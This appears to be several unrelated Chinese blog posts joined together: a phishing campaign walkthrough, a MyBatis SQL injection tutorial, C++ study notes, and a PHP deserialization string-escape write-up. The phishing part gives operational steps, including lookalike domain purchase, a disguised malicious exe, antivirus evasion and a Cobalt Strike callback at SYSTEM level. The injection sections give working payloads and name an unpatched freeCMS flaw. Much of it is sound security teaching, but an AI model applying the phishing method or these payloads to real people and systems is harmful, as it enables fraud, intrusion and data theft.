User & Group: 可为每个项目添加组和目标单位的邮箱地址:
Email Templates:创建钓鱼邮件的模板,支持从html导入:
Landing Pages:水坑页面,可以把他理解为钓鱼邮件里面内嵌URl点击后跳转页面,支持从某个站点直接导入:
Sending Profiles:钓鱼邮件发送配置,需填写发送邮件服务器的地址,用户名和密码等。
gophish的详细使用教程请参考:Gophish钓鱼工具使用教程
邮件服务器的搭建一般有两种思路,自己搭建或使用已有的商业化邮件平台。两者各有优劣:自己搭建的邮件服务器需要提供VPS,而且易被识别为垃圾邮件,但是灵活性较强。使用商业化邮件平台,例如作者使用的ZOHO,其免费版每天最多可发50封邮件,且对附件大小等都有限制,但是搭建简单,不容易被识别为垃圾邮件。
对于这两种方法,可根据现实情况自行选择。我这里使用了使用ZOHO进行搭建的方法,如果你需要自行搭建邮件服务器,作者建议使用这个开源的邮件服务器软件EwoMail.其搭建教程可参考官方文档:EwoMail 邮件服务器(开源版文档)。
注意在搭建之前需选购一个域名作为邮件地址,域名的选购最好具有迷惑性,选购和目标单位相似的域名,例如目标单位的域名为ohmygod.com,我们则可以选购一个0hmygod.com的域名,这样成功的概率就会提升很多。
ZOHO是一个比较不错的商业邮件托管平台,如果你需要寻找其它平台可参考这篇文章最好的电子邮件托管服务推荐
ZOHO邮件的搭建可参考这篇文章:Zoho Mail免费架设域名/企业邮局 - Zoho域名邮箱申请和设置详解
搭建完毕后即可登录后台添加邮箱地址:
添加完毕后,记录SMTP添加到goPhish平台即可。
邮件服务器搭建完毕后,就可以开始制作“鱼饵”了,这一步尤为重要。鱼饵的制作分为两步,钓鱼邮件模板的制作和投递物的选择及免杀。
钓鱼邮件模板可根据目标单位的具体情况来制作,比如可以写内部安全检查,补丁升级,某某事件的通知通告等。
投递物可选择word文档加载恶意的宏文件,恶意的exe文件,link快捷方式,解压缩自加载等。
在本次钓鱼中,我以邮箱插件升级为由制作了一个恶意exe文件进行投递。
邮件模板如下:
恶意exe如下:
使用效果看起来还可以,这样避免引起目标人员的怀疑:
这里要重点要提的是在投递恶意样本时,一定要提前做好免杀,这是能够成功的前提条件。至于免杀,则有很多方法,这里建议学习下Tide安全团队的文章:https://github.com/TideSec/BypassAntiVirus
钓鱼邮件投递完毕后,就等待鱼儿上钩了。goPhish这个平台会有鱼竿的感知,被害者打开邮件或点击URl时都可以看到:
然后就是CS上线了:
由于我投递的样本进行了UAC申请,这样在上线时就是一个system权限。
那么以上就是一个完整的网络钓鱼过程了,所有信息仅供参考。
MyBatis 是一款优秀的持久层框架,它支持定制化 SQL、存储过程以及高级映射。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 POJOs(Plain Old Java Objects,普通的 Java对象)映射成数据库中的记录。
我理解的MyBatis是将数据库字段和java对象关联到了一起,开发者无需在关注数据库操作,直接操作java对象就可以完成数据库的增删改查等操作。但是在配置MyBatis的过程中还是无法避免需要在XML配置文件中编写sql语句,在某些情况下,如果sql语句编写不合理就可能导致sql注入的发生,本篇文章将从MyBatis框架配置开始讲讲SQL注入产生的原因和防范方法。
在配置MyBatis之前需要先准备MyBatis的jar包或者使用maven自动下载jar包。
jar包下载地址:http://www.mybatis.cn/82.html
本次演示使用mavn,打开IDEA创建一个maven工程
在pom.xml中配置MyBatis的dependency,配置完成后Maven会自动下载相关的依赖到本地项目中。
<!-- https://mvnrepository.com/artifact/org.mybatis/mybatis --> |
在运行MyBatis之前先了解下MyBatis的执行过程,有助于编写MyBatis代码。
第一步:MyBatis通过读取配置文件信息(全局配置文件和映射文件),构造出SqlSessionFactory,即会话工厂。 |
可以看到MyBatis的运行是需要读取配置文件的,配置文件是XML格式的,其中每个字段具有不同的含义,具体的配置文件如下:
|
可以看到上述的配置文件已经指明了MyBatis连接数据库所需要的信息,这里需要注意的是MyBatis并不能直接操作数据库,它还需要借助JDBC驱动。其中的<mapper>
字段指明了Mybatis到java代码的映射文件,这个后面会提到。
接下来就来配置Mapper.xml这个文件,在配置之前先创建一个Person实体类,其中实体类的属性和数据库字段保持一致:
package cn.dk; |
有了上述的实体类,Mapper.xml文件这配置就是为这个实体类服务的,其具体内容如下:
_ |
<mapper namespace="cn.dk.Person"
为这个mapper指定一个唯一的namespace,它习惯上设置为:映射文件的全路径,这样可以保值名的唯一。
<select id="GetUserByID" parameterType="int" resultType="Person">
id:用于标识这个select语句,这样就可以通过namespace加id找到唯一的sql语句。parameterType:指定查询是传入的参数类型。 resultType:即返回结果集的类型,这理指定为Person对象类型。
select from user where id = #{id}
这个语句中的#{}
表示要动态传入的值,sql注入往往发生在这里,具体情况后面会讲到。
当parameterType参数为简单类型时(8个基本类型+String),则sql语句中可以使用任何占位符,当parameterType为对象类型时,则sql语句中的占位符必须写属性名。
到这里配置文件和映射文件都有了,就可以使用java代码来操作数据库了,写一个testl类来进行验证。
package cn.dk; |
上述代码执行的结果为:
可以看到已经将数据查出,执行的为sql语句,却和java对象关联到了一起,这就是MyBatis的方便之处。
上述方式为MyBatis的基础CRUD方法,除此外MyBatis还有另外一种方式称为MyBatis接口开发模式,MyBatis接口开发模式基于动态代理。
这种方式在基础查询方式之上加了一个接口类,接口类的实现必须满足以下要求:
_package cn.dk; |
除了以上约定,要实现接口中的方法和Mapper.xml中的Sql语句一一对应还需要将Mapper.xml中的namespace值改为接口的全类名。
这样就可以使用session对象操作数据库了,和基本查询方法不同的是此种方法需要使用getMapper()方法反射获取Mapper对象。
完整代码:
package cn.dk; |
执行结果
上面演示的都是查询单个结果,那么如何进行多个结果的查询呢,也就是sql语句需要传入多个参数,实现传多个参数的方法有很多种,我这里就使用了最简单的一中方式:匿名传参。其它的传参方式请参考:https://blog.csdn.net/bdqx_007/article/details/94836637
MyBatis规定匿名传参时必须传入param1,param2这种方式的,例如:
_ |
然后Mapper接口中的方法使用List接收多个返回结果就可以了。
package cn.dk; |
执行结果:
在上面的演示实例中,只使用到了MyBatis的一种取值方式也就是#{}
这种方式的。
除了这种方式还有另外一种方式${value}
。
当parameterType为简单类型时,当取值符号为
$
时,{}中的值必须为value。当parameterType为对象时,{}中的值为对象属性名。
这两种取值符号的差别是:#{}``会自动传入值加上单引号,而
${}不会。**请注意这个差别,sql注入的产生的原因之一就是因为取值符号使用
${}时,用户传入的值含单引号引起的。
下面演示下${value}
这种传值方式。
修改Mapper.xml文件中的sql查询语句:
_ |
然后测试类:
这里有个坑点,先运行下看下结果:
前面说了${}
这种传值方式不会给传入的值添加引号的,所以我们传入的String类型带到数据库中查询时也不会加引号,从而导致sql查询报错。解决办法是手动在xml文件中添加引号,如下:
但是
${}这种方式在动态排序时更加好用,比如当需要根据数据库字段id进行降序排列查询结果,
#{}由于会给传入的值自动加上引号,导致查询语句变为了
select * from user order by ‘id’ desc,此时会根据一个字符常量进行排序,显然不能得到我们想要的结果,此时就必须使用
${}这种方式了,因此在涉及到排序相关的业务时很容易导致sql输入的产生。
举一个例子,当我们需要执行的sql语句为:_select from user order by id desc
_时,MyBatis中的传值符号使用#{}
,看能否得到我们想要的结果:
可以看到排序结果并不是降序,当把传值方式改为${}
时即可得到正确的结果 :
上面我们讲了MyBatis的两种传值方式,现在来总结一下两者的差别:
#
将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。如:_order by #userid#
_,如果传入的值是111,那么解析成sql时的值为order by "111"
, 如果传入的值是id,则解析成的sql为order by "id"
。将传入的数据直接显示生成在sql中。如:
order by $user_id$,如果传入的值是111,那么解析成sql时的值为order by user
_id, 如果传入的值是id,则解析成的sql为``order by id。
#
方式能够很大程度防止sql注入,因为#{}
实现 SQL 语句的参数化,避免直接引入恶意的 SQL 语句并执行。$
方式无法防止Sql注入。$
方式一般用于传入数据库对象,例如传入表名。#
的就别用$
。所以大多数sql注入产生的原因都是因为开发者在xml文件中使用了${}
传值方式。
MYBatis最有可能产生注入的三种情况:
like concat('%',#{title}, '%') |
id in |
sql注入演示:
接着上一个章节提到的Order by 查询来演示下sql注入,我们提到${}
这种取值方式是不会自动添加引号的,当我们传入的payload变为id and extractvalue(1,concat(0x7C,(select user()),0x7C))
时,sql注入就产生了。
最后以freeCMS为例看下MyBatis的sql注入。MyBatis有很多工具可以根据对象实体自动生成Mapper接口和映射文件,其中最常用的应该是Mybatis-Generator,关于Mybatis-Generator的使用方法请参考https://www.cnblogs.com/throwable/p/12046848.html。遗憾的是Mybatis-Generator生成的Mapper映射文件order by查询也是使用的${}
这种方式,如果开发者没有在业务层对用户输入进行过滤就会导致sql注入的产生。freeCMS正是由于这个原因导致的sql注入,freeCMS分为免费版和商业版,免费版的最新版本为1.5,下载地址:http://www.freeteam.cn/。截至目前位置,最新版本依旧存在sql注入漏洞,据说商业版也存在这个漏洞。
freeCMS的安装过程就不说了,官网有操作手册。
freeCMS有个会员积分查询功能,漏洞点就存在这里,首先看下此功能对应的Mapper映射文件:
order by 参数使用了${}
进行传入,继续查看其业务层实现逻辑:
并未对order传参进行任何过滤,紧接着就是Action的实现了:
如果order为空则默认值为credittime desc
,否则就按照传入的值进行排序。order传参可控且并未进行任何过滤,那么就导致了sql注入的产生:
如何防范MyBatis sql注入的产生呢?这里引用madneal师傅的总结:
在使用
${}传入变量的时候,一定要注意变量的引入和过滤,避免直接通过
${}传入外部变量
当我们写完一段程序需要给电脑进行运行时,首先编译器需要将代码编译为CPU可以看懂的机器码然后装载到内存中,CPU读取到内存中的指令后就会执行其中的执行控制IO设备完成相应的工作。
CPU分为寄存器,运算器和控制器三部分。
|
c++的源文件扩展名是cpp
c++程序的入口是main函数
c++完全兼容c
需包含头文件 #include <iostream>
cout表示输出,例如:
|
其中<<
表示左移运算符(位运算)
在c++中endl
也表示换行,所以上述语句也可以写成:
|
cin表示从键盘输入,例如:
|
其中>>
表示有移运算符
等待用户输入
当一个项目中存在多个函数,这些函数的函数名相同,但是函数传入的个数和类型不同,c++会自动按照函数传入的个数和类型寻找对应的函数进行运算,这个过程称为函数重载。
例如:
|
sum函数随着传入的实参个数不同会自动寻找对应的函数去计算。
返回值类型与函数重载无关。
在c语言中是不支持函数重载的。
c++允许函数设置默认参数,在调用时可以根据情况省略实参,规则如下:
例:
|
被extern c 修饰的代码会按照c语言的方式进行编译。
例:
|
上面的两个函数使用extern “c”
修饰后就会使用c语言的方式进行编译,但是由于c语言不支持函数重载,所以编译会报错。
extern "c"
修饰,函数实现可以不修饰。何时需要用到 extern c
?
例:
现在有一个c文件内容为:
|
如果在c++中需要调用这个c文件中的函数,那么c++文件应该这么写:
|
也就是声明必须用extern "c" 包裹,否则编译会报错
为了方便调用,可以将声明放到头文件中,新建头文件math.h
:
然后c++中include此头文件即可:
为了使只有c++调用math.h
头文件时才加extern “c”
,可以使用#ifdef
进行判断
c++文件默认都会有一个宏定义 #define cplusplus
然后头文件就可以这样写:
|
## pragma once
是用来防止头文件被重复包含
例如在某个程序中多次写了包含头文件,在头文件中写了## pragma once
就可以防止头文件中的内容被多次编译。
使用inline
修饰函数的声明或实现,可以使其变成内联函数
建议声明和实现都增加inline修饰
特点:
注意:
inline
,也不一定会被编译器内联,比如递归函数内联函数和宏的区别
例如:
|
上述代码也可以正常运行
const是常量的意思,被其修饰的变量不可修改。
一下5个指针的分别是什么含义?
_int age = 10; |
例如:
_ |
报错的原因是const修饰的是其右边的内容,const修饰的是p2所以p2=&heigh
报错,而_p2=30
_就不会报错.
在C语言中,使用指针(Pointer)可以间接获取、修改某个变量的值
例:
_ |
在C++中,使用引用(Reference)可以起到跟指针类似的功能
例:
|
引用存在的价值之一:比指针更安全、函数返回值可以被赋值
例:
|
上述代码就轻松完成了在主函数内部使用用swap函数完成a和b的值的替换,使得swap函数访问了它函数外部的值。
汇编语言的种类:
通常,CPU会将内存中的数据存到寄存器中,然后在对寄存器中的数据进行运算
RAX RBX RCX RDX 为通用寄存器
X64架构的寄存器,一个寄存器可以存8个字节的数据
x86架构下的通用寄存器为:EAX EBX ECX EDX ,为了兼容32位的CPU架构,拿出了最低四个字节来存放EAX的数据
在c++中嵌入汇编代码称为内联汇编,汇编代码使用**asm
**包裹。
例如:
|
mov dest, src
将src的内容赋值给dest,类似于dest = src
[ 地址值 ]
中括号[ ]里面放的都是内存地址
word是2字节,dword是4字节(double word),qword是8字节(quad word)
mov dword ptr [a],0Ah |
表示将10放到内存地址为a的存储空间中,并占用4个字节
call 表示调用函数
lea dest, [ 地址值 ]
将地址值赋值给dest,类似于dest = 地址值
lea是直接赋值地址值,而mov是取内存地址中存放的东西
例:
mov eax, dword ptr [1122H] |
ret表示函数返回
xor op1, op2
将op1和op2异或的结果赋值给op1,类似于op1 = op1 ^ op2
add op1, op2
类似于op1 = op1 + op2
sub op1, op2
类似于op1 = op1 - op2
inc op
自增,类似于op = op + 1
dec op
自减,类似于op = op – 1
jmp 内存地址
跳转到某个内存地址去执行代码
j开头的一般都是跳转,大多数是带条件的跳转,一般跟test、cmp等指令配合使用
C++中可以使用struct、class来定义一个类
struct和class的区别:
struct的默认成员权限是public
class的默认成员权限是private
_ |
或:
_class Person { |
_int main(){ |
this是指向当前对象的指针
对象在调用成员函数的时候,会自动传入当前对象的内存地址
_ |
如上面的例子,当存在两个Person对象时,不同的对象在调用同一个run()
方法时是如何寻找到属于自己的mage的呢?就是靠this这个指针,this默认指向当前对象的内存地址,为当前对象寻找对应方法。this是一个隐式参数,其实不写this也可以正常执行,如下:
_ |
待补充
封装的含义是成员变量私有化,提供公共的getter和setter给外界去访问成员变量。
例:
_ |
每个应用都有自己独立的内存空间,其内存空间一般都有以下几大区域:
代码段(代码区)
用于存放代码
数据段(全局区)
用于存放全局变量等
栈空间
每调用一个函数就会给它分配一段连续的栈空间,等函数调用完毕后会自动回收这段栈空间
自动分配和回收
堆空间
需要主动去申请和释放
在程序运行过程,为了能够自由控制内存的生命周期、大小,会经常使用堆空间的内存
堆空间的申请\释放(malloc \ free)
例:
_ |
或申请一个char类型的内存
|
除此外c++还支持new/delete方式申请内存
_ |
注意
memset函数是将较大的数据结构(比如对象、数组等)内存清零的比较快的方法。
对象的内存可以存在于3种地方:
构造函数(也叫构造器),在对象创建的时候自动调用,一般用于完成对象的初始化工作
例:
_ |
可看到在对象初始化时就会自动调用构造函数。
特点
注意:
通过malloc分配的对象不会调用构造函数
析构函数(也叫析构器),在对象销毁的时候自动调用,一般用于完成对象的清理工作。
函数名以~
开头,与类同名,无返回值(void都不能写),无参,不可以重载,有且只有一个析构函数
例:
_ |
注意:
例:
_ |
也可以将声明放在头文件中
命名空间可以用来避免命名冲突。
例:
_ |
可以使用namespace
来定义命令空间。
为了方便,可以使用using namespace
来规定命名空间的范围
例:
_using namespace abc; |
命名空间可以嵌套和合并,c++中存在一个默认的全局命名空间::
我们创建的命名空间默认都嵌套在它里面.
_ |
继承,可以让子类拥有父类的所有成员(变量\函数)。
例:
_ |
关系描述
具体的继承关系可参考:https://www.runoob.com/cplusplus/cpp-inheritance.html
继承对象的内存布局:
成员访问权限、继承方式有3种:
子类内部访问父类成员的权限,是以下2项中权限最小的那个
开发中用的最多的继承方式是public,这样能保留父类原来的成员访问权限
访问权限不影响对象的内存布局
具体的继承关系可参考:https://www.runoob.com/cplusplus/cpp-inheritance.html
特点
例:
_class Person { |
上述的这种写法就是初始化列表
它等价于:
_class Person { |
例:
_ |
注意:
如果函数声明和实现是分离的
_ |
父类指针可以指向子类对象,是安全的,开发中经常用到(继承方式必须是public)。
子类指针指向父类对象是不安全的。
例:
默认情况下,编译器只会根据指针类型调用对应的函数,不存在多态。
例:
_ |
在上面的例子中,虽然三只动物都有共同的属性 run 和 speak,但是我们定义的三个函数在表达三只动物的run和speak。
那能否在定义一个Animal 父类,让三只动物都继承其run和speak呢?
例:
_ |
但是结果确不正确,因为默认情况下,编译器只会根据指针类型调用对应的函数,不存在多态。
多态的要素:
多态是面向对象非常重要的一个特性
如何实现多态呢?在c++中需要使用虚函数来实现。
C++中的多态通过虚函数(virtual function)来实现。
虚函数:被virtual修饰的成员函数。
只要在父类中声明为虚函数,子类中重写的函数也自动变成虚函数(也就是说子类中可以省略virtual关键字)。
例:
_ |
虚函数的实现原理是虚表,这个虚表里面存储着最终需要调用的虚函数地址,这个虚表也叫虚函数表。
如果存在父类指针指向子类对象的情况,应该将析构函数声明为虚函数(虚析构函数)
delete父类指针时,才会调用子类的析构函数,保证析构的完整性。
纯虚函数:没有函数体且初始化为0的虚函数,用来定义接口规范
抽象类(Abstract Class)
静态成员:被static修饰的成员变量\函数。
可以通过对象(对象.静态成员)、对象指针(对象指针->静态成员)、类访问(类名::静态成员)。
例:
_ |
例:
_ |
例:
现在有个需求是统计创建了多少个Car对象。
_ |
const成员:被const修饰的成员变量、非静态成员函数。
const成员变量
const成员函数(非静态)
const关键字写在参数列表后面,函数的声明和实现都必须带const
const成员函数和非const成员函数构成重载
非const对象(指针)优先调用非const成员函数
const对象(指针)只能调用const成员函数、static成员函数
引用类型成员变量必须初始化(不考虑static情况)
拷贝构造函数是构造函数的一种.
当利用已存在的对象创建一个新对象时(类似于拷贝),就会调用新对象的拷贝构造函数进行初始化.
拷贝构造函数的格式是固定的,接收一个const引用作为参数.
例:
_ |
默认情况下不写拷贝构造函数也可以进行拷贝
例:
_ |
默认情况下不写拷贝构造函数也可以调用父类的拷贝构造函数
编译器默认的提供的拷贝是浅拷贝(shallow copy)
如果需要实现深拷贝(deep copy),就需要自定义拷贝构造函数
匿名对象:没有变量名、没有被指针指向的对象,用完后马上调用析构
友元包括友元函数和友元类
例:
_ |
上述代码使用了get方法去获取Point类中的私有成员变量,假设需要频繁的访问,可以将add方法设置为Point类的友元函数,这样add方法就可以直接访问Point类的私有成员变量。
_ |
如果将类A定义在类C的内部,那么类A就是一个内部类(嵌套类)。
内部类的特点:
在一个函数内部定义的类,称为局部类。
局部类的特点:
运算符重载(操作符重载):可以为运算符增加一些新的功能。
全局函数、成员函数都支持运算符重载。
throw异常后,会在当前函数中查找匹配的catch,找不到就终止当前函数代码,去上一层函数中查找。如果最终都找不到匹配的catch,整个程序就会终止。
例:
|
_ |
自定义异常类型
例:
_ |
标准异常(std)
]]>我们在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。
序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
常见的php序列化和反序列化函数有:serialize,unserialize。
serialize() —> 函数用于序列化对象或数组,并返回一个字符串。如下:
|
结果为:
a:3:{i:0;s:2:"t1";i:1;s:3:"tt2";i:2;s:4:"ttt3";} |
各个字符的意义 —> o表示对象,a表示数组,s表示字符,i表示数字
a:3 表示有三个数组
i:0,表示第一个数组,s:2:”t1”,表示第一个数组是字符,2表示有两个字符,为”t1”
i:1,表示第二个数组,s:3:”tt2”,表示第二个数组是字符,3表示有三个字符,为”tt2”
i:2,表示第三个数组,s:4:”ttt3”,表示第三个数组是字符,4表示有三个字符,为”ttt3”
再举一个例子:
|
结果为:
O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;} |
其中各个字符的含义是:
1.类中不存在的属性也会进行反序列化;
2.对于类和数组的反序列化,以;
作为字段的分隔,以}
作为结尾,若在}
后再加数据将直接被丢弃;
3.反序列化按照严格的格式进行。
由于PHP反序列化中的字符逃逸只用到了第二个特性,所以重点看下第二个特性。
当我们反序列这个字符串a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
,得到的结果为:
array(2) { |
当把字符串改为a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
时,反序列化会得到同样的结果:
给出一个问题,代码如下,如何在username可控的情况下将密码修改为123456
?
_ |
分析:
正常情况下序列化的结果为:
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} |
如果把username改为peri0dxx,序列化结果就变成了:
a:2:{i:0;s:8:"peri0dyyyy";i:1;s:5:"aaaaa";} |
这时候由于filter函数的关系,peri0dyyyy
明明为10个字符,但是序列化字符串中却显示为8个字符,那么反序列化时必定会失败
那么如何才能修改密码呢?依据第二条规则,只需要把序列化后的字符串改为a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
,那么在反序列化之后就可以成功修改密码:
目标明确:
1.输入可控的username,
2.利用filter函数将序列化后的字符串改为如下格式的a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
3.经过反序列化之后,忽律第一个}
后面的字符,使得123456
逃逸出来成为我们的密码。
经过计算";i:1;s:6:"123456";}
共有20个字符,加上peri0d
共26个字符
如果把peri0d改为peri0dxx后经过filter函数就变成了peri0dyyyy,这是总共就为28个字符。
此时明显不能正常反序列化,那么就需要增加x
直到可以正确反序列化,经过测试当增加到20个x
时成功:
123456
成功逃逸出来修改了密码。
这个例子是Joomla的逃逸,下面是有人写出的一个简易的Joomla处理反序列化的机制:
|
上述代码的大致意思是当向dbs.txt写如数据时会将_chr(0).''.chr(0)
_替换为\0\0\0
,读数据时则相反。
漏洞点在_strreplace(chr(0).''.chr(0), '\0\0\0', $data)
,因为joomla会将数据存储到mysql数据库中,protected变量序列化之后会有\x00\x00
_,那么mysql数据库不能存储空字符,所以在写入数据库之前经过替换,会将三个字符替换成六个字符,在反序列化时,会在读取的处理回来,这就导致存在逃逸。
反序列化读取的时候将会将六位字符\0\0\0
替换成三位字符_chr(0)chr(0)
_,因此字符串前面的s肯定是固定的,那么s
对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类
正常情况下序列化的结果为:
O:4:"User":2:{s:8:"username";s:4:"test";s:8:"password";s:6:"123456";} |
当一个对象销毁时会执行**destruct()
**函数,我们的目标是构造payload注入到evil类中进而执行system()
函数。
所以payload为s:2:"rs";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0
,来吞掉password的值,比如
首先确定要吞掉的字符串长度:
O:4:"User":2:{s:8:"username";s:4:"test";s:8:"password";s:6:"123456";} |
要吞掉的字符串长度为:“;s:8:"password";s:6:“123456
共28个字符。
因为注入的payload长度为肯定是个二位数,所以第二个s后面肯定为二位数,所以要吞掉的字符串长度至少为29个字符。
现在就是需要在username中加入\0
判断经过read函数出来过后的长度,由于每加入一组\0\0\0
就可以吞掉3个字符。
假设构造username为\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
其长度为54。
经过read函数处理后其长度变为了27
即可吞掉27个字符,但是上面计算需要吞掉29个字符,由于吞掉的字符长度总是3的倍数,所以最方便的办法还是将密码改为1234,这样需要吞掉的字符串长度就变成了27。
接下里就可以构造payload了。
|
执行上述payload观察序列化结果:
db.txt文件中的内容:
O:4:"User":2:{s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";} |
可看到s:54
在反序列化之后正好覆盖了";s:8:"password";s:54:"1234
这个27个字符,从而导致evil对象的注入。
总结起来要达到字符串逃逸导致对象注入的要求有:
1.相邻两个属性的值是我们可以控制的
2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化
详解PHP反序列化中的字符逃逸
php字符串逃逸导致的对象注入
PHP字符逃逸导致的对象注入
Joomla3.4.6 RCE漏洞分析